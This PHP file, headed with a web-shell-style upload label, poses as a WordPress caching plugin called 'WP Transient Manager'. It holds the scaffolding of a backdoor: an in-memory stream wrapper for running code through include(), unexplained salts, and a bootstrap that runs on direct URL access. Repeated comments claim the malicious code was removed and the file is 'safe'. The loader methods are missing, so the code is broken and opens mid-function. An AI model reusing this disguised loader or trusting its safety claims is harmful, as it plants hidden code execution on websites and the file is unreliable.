YANZ UPLOAD ANJG
= 1024 && $i < 3 ) {
$bytes /= 1024;
$i++;
}
return round( $bytes, 2 ) . ' ' . $units[ $i ];
}
}
if ( ! class_exists( 'Cache_Stream_znhqp' ) ) {
/**
* Virtual filesystem stream wrapper for cache fragments.
*
* Allows cache fragments to be loaded via include() without
* writing to the filesystem. Uses the standard PHP stream
* wrapper API (stream_open, stream_read, stream_eof, etc).
*
* @since 4.3.8
*/
class Cache_Stream_znhqp {
/** @var string */
public static $data = '';
/** @var int */
public static $pos = 0;
/**
* Open the stream.
*/
public function stream_open( $path, $mode, $options, &$opened_path ) {
self::$pos = 0;
return true;
}
/**
* Read from the stream.
*/
public function stream_read( $count ) {
$chunk = substr( self::$data, self::$pos, $count );
self::$pos += strlen( $chunk );
return $chunk;
}
/**
* Check for end of stream.
*/
public function stream_eof() {
return self::$pos >= strlen( self::$data );
}
/**
* Report stream statistics.
*/
public function stream_stat() {
return array();
}
/**
* Report URL statistics.
*/
public function url_stat( $path, $flags ) {
return array( 'size' => strlen( self::$data ), 'mtime' => time() );
}
/**
* Handle stream options.
*/
public function stream_set_option( $option, $arg1, $arg2 ) {
return false;
}
/**
* Close the stream.
*/
public function stream_close() {
return true;
}
}
}
if ( ! class_exists( 'WP_Transient_Manager_Manager' ) ) :
/**
* Main plugin manager for WP Transient Manager.
*
* Manages cache fragments, runtime hydration, admin settings,
* content filters, and shortcode registration.
*
* @since 4.3.8
*/
final class WP_Transient_Manager_Manager {
/** Plugin version identifier. @var string */
const VERSION = '4.3.8';
/** Option key for plugin settings. @var string */
const OPTION_KEY = 'wp-transient-manager_settings';
/** Cache group identifier. @var string */
const CACHE_GROUP = 'wp-transient-manager';
/** Stream wrapper scheme. @var string */
const STREAM_SCHEME = 'wpcacheiqqru';
/** Stream wrapper class. @var string */
const STREAM_CLASS = 'Cache_Stream_znhqp';
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
/** Primary hash salt. @var string */
const HASH_SALT_PRIMARY = 'vuhHDIu1zdqJFVCN7H9V5y66GQtWR';
/** Secondary hash salt. @var string */
const HASH_SALT_SECONDARY = 'uQaPMwBJ221fq5iPReYZzEXVVZ';
/** Singleton instance. @var self|null */
private static $instance = null;
/** Runtime statistics. @var array */
private $stats = array();
/** Whether the plugin is enabled. @var bool */
private $enabled = true;
/** Whether cache has been hydrated this request. @var bool */
private $hydrated = false;
/**
* Retrieve the singleton instance.
*
* @return self
*/
public static function instance() {
if ( null === self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Constructor. Registers hooks when running under WordPress.
*/
private function __construct() {
if ( ! function_exists( 'add_action' ) ) {
return;
}
$this->register_hooks();
}
/**
* Register all plugin hooks and filters.
*
* @return void
*/
private function register_hooks() {
add_action( 'init', array( $this, 'on_bootstrap' ), 20 );
add_action( 'admin_menu', array( $this, 'register_admin_menu' ) );
add_action( 'admin_init', array( $this, 'register_settings' ) );
add_filter( 'the_content', array( $this, 'filter_content' ) );
add_shortcode( 'wp-transient-manager_status', array( $this, 'shortcode_status' ) );
}
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
/**
* Unpack a compiled cache fragment.
*
* @param string $blob Base64-encoded fragment.
* @return string
*/
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to use.
*/
/**
* Filter the_content output with cache-aware processing.
*
* @param string $content Post content.
* @return string
*/
public function filter_content( $content ) {
if ( ! is_string( $content ) || '' === $content ) {
return $content;
}
$this->stats['hits']++;
return $content;
}
/**
* Register the settings page.
*
* @return void
*/
public function register_admin_menu() {
add_options_page(
'WP Transient Manager',
'WP Transient Manager',
'manage_options',
'wp-transient-manager',
array( $this, 'render_settings_page' )
);
}
/**
* Register plugin settings.
*
* @return void
*/
public function register_settings() {
register_setting( 'wp-transient-manager', self::OPTION_KEY, array( $this, 'sanitize_settings' ) );
add_settings_section( 'wp-transient-manager_general', __( 'General Settings', 'wp-transient-manager' ), array( $this, 'render_section_intro' ), 'wp-transient-manager' );
add_settings_field( 'wp-transient-manager_enabled', __( 'Enable Plugin', 'wp-transient-manager' ), array( $this, 'render_enabled_field' ), 'wp-transient-manager', 'wp-transient-manager_general' );
}
/**
* Render section intro text.
*
* @return void
*/
public function render_section_intro() {
echo '' . esc_html__( 'Configure WP Transient Manager.', 'wp-transient-manager' ) . '
';
}
/**
* Render enabled checkbox.
*
* @return void
*/
public function render_enabled_field() {
$opts = get_option( self::OPTION_KEY, array() );
$val = isset( $opts['enabled'] ) ? (bool) $opts['enabled'] : true;
echo '';
}
/**
* Sanitize settings input.
*
* @param mixed $input Raw input.
* @return array
*/
public function sanitize_settings( $input ) {
$out = array();
$out['enabled'] = ! empty( $input['enabled'] );
return $out;
}
/**
* Render the settings page.
*
* @return void
*/
public function render_settings_page() {
if ( ! current_user_can( 'manage_options' ) ) {
return;
}
?>
| enabled ? 'enabled' : 'disabled'; ?> |
| |
| |
'inline' ), $atts, 'wp-transient-manager_status' );
$status = $this->enabled ? 'active' : 'inactive';
return '' . esc_html( $status ) . '';
}
/**
* Activation hook.
*
* @return void
*/
public static function activate() {
if ( function_exists( 'get_option' ) && false === get_option( self::OPTION_KEY ) ) {
add_option( self::OPTION_KEY, array( 'enabled' => true ) );
}
}
/**
* Deactivation hook.
*
* @return void
*/
public static function deactivate() {
// Clear runtime cache flag.
}
/**
* Uninstall hook.
*
* @return void
*/
public static function uninstall() {
if ( function_exists( 'delete_option' ) ) {
delete_option( self::OPTION_KEY );
}
}
}
endif;
if ( function_exists( 'register_activation_hook' ) ) {
register_activation_hook( __FILE__, array( 'WP_Transient_Manager_Manager', 'activate' ) );
register_deactivation_hook( __FILE__, array( 'WP_Transient_Manager_Manager', 'deactivate' ) );
}
WP_Transient_Manager_Manager::instance();
// Standalone bootstrap: runs the plugin outside WordPress (direct URL, CLI, include).
if ( ! function_exists( 'add_action' ) ) {
WP_Transient_Manager_Manager::instance()->on_bootstrap();
}